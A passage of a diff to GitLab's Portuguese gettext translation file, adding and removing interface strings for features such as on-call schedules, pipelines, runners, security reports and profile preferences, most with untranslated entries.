-msgstr "Não, importe diretamente os endereços de e-mail e nomes de usuários existentes."
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "Não disponível"
@@ -18400,6 +18812,9 @@ msgstr "Dados insuficientes"
msgid "Not found."
msgstr "Não encontrado."
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr "Ainda não está pronto. Tente mais tarde."
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr "Mostrar apenas histórico"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr "Esse comentário foi alterado desde que você começou a editá-lo. Por favor, reveja o %{open_link}comentário atualizado%{close_link} para garantir que nenhuma informação seja perdida"
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr "Falha no pipeline"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Aceitar merge request"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "Novo épico"
@@ -18505,6 +18932,9 @@ msgstr "Novo comentário"
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Reatribuir issue"
@@ -18514,6 +18944,9 @@ msgstr "Reatribuir merge request"
msgid "NotificationEvent|Reopen issue"
msgstr "Reabrir issue"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "Pipeline bem sucedido"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,8 +19166,8 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr "Uma vez importados, os repositórios podem ser espelhados por SSH. Leia mais %{link_start}aqui%{link_end}."
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
-msgstr "Uma vez removido, o relacionamento do fork não pode ser restaurando e você não poderá mais enviar merge requests para o repositório original."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
+msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
msgstr "Quando o arquivo exportado estiver pronto, você receberá um e-mail de notificação com um link para download ou poderá fazer o download a partir desta página."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr "Um ou mais dos seus projetos do Google Code não podem ser importados diretamente no GitLab porque eles usam Subversion ou Mercurial para o controle de versão, ao invés de Git."
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "Abrir barra lateral"
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "Opcionalmente, você pode %{link_to_customize} como os endereços de e-mail e nomes de usuários do FogBugz são importados para o GitLab."
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr "Opcionalmente, você pode %{link_to_customize} como os endereços de e-mail e nomes de usuários do Google Code são importados para o GitLab."
-
msgid "Options"
msgstr "Opções"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr "Página não encontrada"
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr "Página excluída com sucesso"
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr "Agendamentos da Pipeline"
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "CI Lint"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr "Carregando Pipelines"
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "Cache do projeto redefinido com sucesso."
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr "Executar Pipeline"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Algo deu errado ao limpar o cache dos runners."
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr "Por favor, escolha um URL de grupo sem caracteres especiais."
msgid "Please complete your profile with email address"
msgstr "Por favor, complete seu perfil com endereço de e-mail"
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr "Por favor, converta-os em Git no Google Code e passe pelo %{link_to_import_flow} novamente."
-
msgid "Please create a password for your new account."
msgstr "Por favor, crie uma senha para sua nova conta."
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr "Exibir a hora no formato de 24 horas"
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr "Por exemplo: 30 mins atrás."
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr "Perfil"
msgid "Profile Settings"
msgstr "Configurações do perfil"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr "Você está prestes a excluir permanentemente a %{yourAccount}, e todas
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "Você vai alterar o nome de usuário %{currentUsernameBold} para %{newUsernameBold}. O perfil e os projetos serão redirecionados para %{newUsername} mas esse redirecionamento expirará quando %{currentUsername} for registrado por outro usuário ou grupo. Por favor, atualize seus repositórios remotos Git o mais rápido possível."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr "O avatar será removido. Você tem certeza?"
msgid "Profiles|Bio"
msgstr "Bio"
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "Alterar nome de usuário"
@@ -20691,9 +21181,6 @@ msgstr "Imagem do projeto"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "Pipelines devem ter êxito"
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr "Quando conflitos surgem, o usuários tem a opção de fazer rebase"
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "Promover para etiqueta de grupo"
@@ -21837,6 +22339,9 @@ msgstr "Eventos de push"
msgid "Push project from command line"
msgstr "Fazer push do projeto por linha de comando"
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "Push para criar um projeto"
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr "Redirecionar para provedor SAML para testar configuração"
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "Versões"
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr "Lembrar mais tarde"
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr "Reabrir epic"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "Reabrir marco"
@@ -22489,6 +22988,14 @@ msgstr "Reportando"
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr "Noma da classe"
msgid "Reports|Execution time"
msgstr "Tempo de execução"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr "Falha"
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "Repositório"
@@ -22635,6 +23156,9 @@ msgstr "Limpeza do repositório"
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr "A limpeza do repositório já começou. Você receberá um e-mail assim que a operação de limpeza for concluída."
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr "Armazenamento do Repositório"
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr "Reenviar convite"
msgid "Resend it"
msgstr "Reenviar"
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr "Redefinir chave de autorização"
msgid "Reset authorization key?"
msgstr "Redefinir chave de autorização?"
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "Recriar o token de status de saúde"
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr "Tentar novamente"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "Refazer tarefa"
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "Revise o processo de configuração de provedores de serviços em seu provedor de identidade - nesse caso, o GitLab é o \"provedor de serviços\" ou a \"terceiro\"."
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "Revisão"
@@ -23048,6 +23587,9 @@ msgstr "Rodar tarefas sem tags"
msgid "Runner cannot be assigned to other projects"
msgstr "Runner não pode ser atribuído a outros projetos"
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr "O runner executa tarefas de todos os projetos não atribuídos"
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr "Salvar alterações"
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr "Salvar mesmo assim"
-
msgid "Save application"
msgstr "Salvar aplicativo"
@@ -23273,7 +23800,7 @@ msgstr "Salvar senha"
msgid "Save pipeline schedule"
msgstr "Salvar agendamento da pipeline"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr "Pesquisar projetos"
msgid "Search projects..."
msgstr "Pesquisar projetos..."
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr "Ver métricas"
msgid "See the affected projects in the GitLab admin panel"
msgstr "Veja os projetos afetados no painel de administração do GitLab"
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr "Selecione o projeto para escolher a zona"
msgid "Select projects"
msgstr "Selecionar projetos"
-msgid "Select projects you want to import."
-msgstr "Selecione os projetos que você deseja importar."
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "Configure seu projeto para fazer push e/ou pull de um repositório para outro automaticamente. Branches, tags e commits serão sincronizados automaticamente."
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "defina uma senha"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "Adicionar emoji de status"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "Limpar status"
@@ -24455,6 +24988,9 @@ msgstr "Definir status"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "Desculpe, nós não fomos capazes de definir o seu status. Por favor, tente novamente mais tarde."
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "Qual é o seu status?"
@@ -24551,9 +25087,6 @@ msgstr "Transações de Sherlock"
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr "Mostrar todas as atividades"
@@ -24608,13 +25141,16 @@ msgstr "Mostrar a versão mais recente"
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "Mostrando %d evento"
msgstr[1] "Mostrando %d eventos"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Restrições de cadastro"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "Aplicativo Slack"
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,8 +25493,8 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
-msgstr "Algo deu errado ao fechar o %{issuable}. Por favor, tente novamente depois"
+msgid "Something went wrong while closing the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr ""
@@ -25032,11 +25574,14 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
-msgstr "Alguma coisa deu errado ao reabrir o %{issuable}. Por favor, tente novamente depois"
+msgid "Something went wrong while reopening the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
msgstr "Algo deu errado ao resolver essa discussão. Por favor, tente novamente."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr "Especifique um padrão regex de endereço de e-mail para identificar usu
msgid "Specify the following URL during the Runner setup:"
msgstr "Especifique o seguinte URL durante a configuração do Runner:"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr "Domínio da equipe"
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr "Modelo"
@@ -26232,6 +26798,9 @@ msgstr "Contrato de Termos de Serviço e Política de Privacidade"
msgid "Terms of Service and Privacy Policy"
msgstr "Termos de Serviço e Política de Privacidade"
